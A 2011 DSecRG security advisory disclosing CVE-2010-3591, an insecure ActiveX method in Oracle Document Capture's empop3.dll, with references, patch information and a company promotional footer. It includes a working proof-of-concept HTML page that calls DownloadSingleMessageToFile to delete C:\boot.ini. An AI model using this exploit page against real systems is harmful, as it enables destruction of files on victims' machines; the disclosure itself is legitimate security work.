[DSECRG-11-005] Oracle Document Capture empop3.dll - insecure method Jan 25 2011 02:30PM
Alexandr Polyakov (alexandr polyakov dsec ru)


ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory DSECRG-11-005 (internal #DSECRG-00154)

Application: Oracle Document Capture
Versions Affected: Release 10gR3
Vendor URL: www.oracle.com
Bugs: insecure method, File overwriting, File deleting
Exploits: YES
Reported: 22.03.2010
Vendor response: 31.03.2010
Date of Public Advisory:24.01.2011
CVE-number: CVE-2010-3591
Author: Evdokimov Dmitriy from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)

Description
***********

Oracle Document Capture contains ActiveX components that contains insecure methods in empop3.dll

Details
*******

Oracle Document Capture contains ActiveX component EMPOP3Lib (empop3.dll) Lib GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}

which is contains insecure method "DownloadSingleMessageToFile" that can delete any file in system.

Class EasyMailPop3
GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}
Number of Interfaces: 1
Default Interface: IPOP3Main
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

Details
*******

Attacker can construct html page which call vulnerable function "DownloadSingleMessageToFile" from ActiveX component empop3.dll

Example:

<HTML>
<HEAD>
<TITLE>DSecRG</TITLE>
</HEAD>
<BODY>

<OBJECT id='eds' classid='clsid:F647CBE5-3C01-402A-B3F0-502A77054A24'></OBJECT>

<SCRIPT>

function Exploit(){
eds.DownloadSingleMessageToFile(1,"C:\\boot.ini",1);
}
Exploit();

</SCRIPT>
</BODY>
</HTML>

References
**********

http://dsecrg.com/pages/vul/show.php?id=305
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

Fix Information
*************

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

About
*****

Digital Security:

Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com

Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
DIGITAL SECURITY
phone: +7 812 703 1547
+7 812 430 9130
e-mail: a.polyakov (at) dsec (dot) ru [email concealed]

www.dsec.ru
www.dsecrg.com www.dsecrg.ru
www.erpscan.com www.erpscan.ru
www.pcidssru.com www.pcidss.ru

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